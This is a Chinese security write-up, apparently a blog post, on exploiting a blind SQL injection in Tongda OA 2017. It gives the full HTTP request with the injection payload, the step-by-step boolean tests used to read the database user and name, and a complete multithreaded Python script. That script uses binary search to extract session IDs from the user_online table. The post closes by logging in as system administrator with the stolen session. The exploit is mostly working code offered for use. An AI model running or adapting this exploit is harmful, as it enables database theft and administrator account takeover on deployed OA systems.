多线程+二分法的巧用——通达OA SQL盲注

wholesome

多线程+二分法的巧用——通达OA SQL盲注
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
No.1
漏洞利用
记一次通达OA的SQL盲注注入利用,获取管理员session id,并登录后台。且poc脚本中加入多线程+二分法从而提高利用效率。
测试版本:通达2017
先上payload

1. POST http://127.0.0.1:8088//general/document/index.php/recv/register/insert HTTP/1.1
   
2. Host: 127.0.0.1:8088
   
3. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
   
4. Accept-Encoding: gzip, deflate
   
5. Accept: */*
   
6. Connection: close
   
7. Content-Type: application/x-www-form-urlencoded
   
8. Content-Length: 76
   
9. 
   
10. 
    
11. title)values("'"^exp(if(ascii(substr(user(),1,1))%3d114,1,710)))# =1&_SERVER=

复制代码

该漏洞为mysql bool盲注。
exp(if(ascii(substr(user(),1,1))=114,1,710))
此时会去判断user()第一位的ascii码是否为114,既"r"。如果为真,则响应码返回302。如果为假,则返回500。
ascii("r")=114。exp()函数遇到>709的数，就会报错。(该环境下,user()为"root")
​
尝试user()第一位的ascii码为114,既"r",返回302，说明为真
​
尝试user()第一位的ascii码为113,返回500，说明为假
​
尝试user()第一位的ascii码为115,返回500，说明为假
​
尝试user()第一位的ascii码为116,返回500，说明为假

1. exp(if(ascii(substr(user(),1,1))=114,1,710)   302
   
2. exp(if(ascii(substr(user(),2,1))=111,1,710)   302
   
3. exp(if(ascii(substr(user(),3,1))=111,1,710)   302
   
4. exp(if(ascii(substr(user(),4,1))=116,1,710)   302
   
5. 既user() = "root"

复制代码

并且通过注入发现

1. # database_length = 5
   
2. # database_name = "td_oa"
   
3. # user() = "root"

复制代码

No.2
获取session 长度
通过查看源码,发现user_online表的SID字段中保存了用户的session ID。于是乎可以通过sql注入去获取session,从而登录oa系统。
​
然后通过http响应包或者注入测试，判断session id的长度。
构造payload
title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),1,1))>1,1,710)))# =1&_SERVER=
​
​
获取第26、27位的ascii码,是否大于1
exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),1,1))>1,1,710))  302
exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),1,1))>1,1,710))  500
26为真,27为假。
http响应包中的Set-Cookie: PHPSESSID=ubg6abuvrjhr79q55bodlia3s2; PHPSESSID长度也为26。
说明session长度为26。
No.3
获取完整session id
利用for 循环去获取session id即可。
exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{第几个用户},1),{session的第几位值},1))={ascill值},1,710)))
如果只单独使用多线程或者二分法,会导致消耗资源过多或者耗时较久。所以为了加快效率,本次使用了多线程+二分法。
完整脚本如下:

1. import requests
   
2. 
   
3. import _thread
   
4. 
   
5. import time
   
6. 
   
7. requests.packages.urllib3.disable_warnings()
   
8. 
   
9. 
   
10. 
    
11. UNAME_length = 26
    
12. 
    
13. USERUID = []
    
14. 
    
15. 
    
16. 
    
17. header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',"Content-Type":"application/x-www-form-urlencoded",'Connection':'close'}
    
18. 
    
19. proxies = {'http': '127.0.0.1:8080','https': '127.0.0.1:8080'}
    
20. 
    
21. 
    
22. 
    
23. def get_url(url,num,uid):
    
24. 
    
25.     global UNAME_length
    
26. 
    
27.     global USERUID
    
28. 
    
29. 
    
30. 
    
31.     litgh = 48
    
32. 
    
33.     right = 120
    
34. 
    
35.     tmp = 0
    
36. 
    
37.     while litgh <= right:
    
38. 
    
39.         mid = int((litgh+right)/2)
    
40. 
    
41.         if tmp == mid:
    
42. 
    
43.             break
    
44. 
    
45.         else: tmp = mid
    
46. 
    
47.         flag = run_payload(url,uid,num,mid)
    
48. 
    
49.         if flag:
    
50. 
    
51.             litgh = mid
    
52. 
    
53.         else:
    
54. 
    
55.             right = mid
    
56. 
    
57.     USERUID[num-1] = chr(mid)
    
58. 
    
59.     print("session: ",num,chr(mid))
    
60. 
    
61. 
    
62. 
    
63. def run_payload(url,uid,num,mid):
    
64. 
    
65.     try:
    
66. 
    
67.         payload =f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
    
68. 
    
69.         req = requests.post(url, headers=header, proxies=proxies,data=payload,verify=False,timeout=20,allow_redirects=False)
    
70. 
    
71.         if req.status_code == 302:
    
72. 
    
73.             return True
    
74. 
    
75.         elif req.status_code == 500:
    
76. 
    
77.             return False
    
78. 
    
79.         elif req.status_code != 500:
    
80. 
    
81.             return run_payload(url,uid,num,mid)
    
82. 
    
83.     except Exception as e:
    
84. 
    
85.         return run_payload(url,uid,num,mid)
    
86. 
    
87. 
    
88. 
    
89. def get_uname(url,uid):
    
90. 
    
91.     USERUID.clear()
    
92. 
    
93.     [USERUID.append("") for one in range(0,UNAME_length)]
    
94. 
    
95.     for num in range(1,UNAME_length+1):
    
96. 
    
97.         _thread.start_new_thread(get_url, (url,num,uid,)) # 多线程
    
98. 
    
99. 
    
100. 
     
101.     tmp = 0
     
102. 
     
103.     while 1: # 等待跑完26位session id
     
104. 
     
105. 
     
106. 
     
107.         flag = 0
     
108. 
     
109.         for num in range(0,len(USERUID)):
     
110. 
     
111.             if USERUID[num] != '':
     
112. 
     
113.                 flag += 1
     
114. 
     
115.         uname = ""
     
116. 
     
117.         for num in range(0,len(USERUID)):
     
118. 
     
119.             uname += str(USERUID[num])
     
120. 
     
121.         if flag != tmp:
     
122. 
     
123.             print(f"已完成: {flag}/{UNAME_length}  SID:{uname}  {USERUID} ")
     
124. 
     
125. 
     
126. 
     
127.         tmp = flag
     
128. 
     
129.         if flag == UNAME_length:
     
130. 
     
131.             break
     
132. 
     
133.     time.sleep(0.5)
     
134. 
     
135.     return uname
     
136. 
     
137. 
     
138. 
     
139. def main(url):
     
140. 
     
141.     url += "/general/document/index.php/recv/register/insert"
     
142. 
     
143.     print(url)
     
144. 
     
145.     uid=1 # 获取第几个用户的session
     
146. 
     
147.     uname = get_uname(url,uid-1)
     
148. 
     
149.     print("UNAME = ",uname)
     
150. 
     
151. 
     
152. 
     
153. url="http://www.xxx.com/"
     
154. 
     
155. main(url)

复制代码

No.4
登录后台
​
利用脚本跑出session id,然后替换cookie后,访问http://www.xxx.com/general/
​
发现成功登录,且用户为系统管理员。
招聘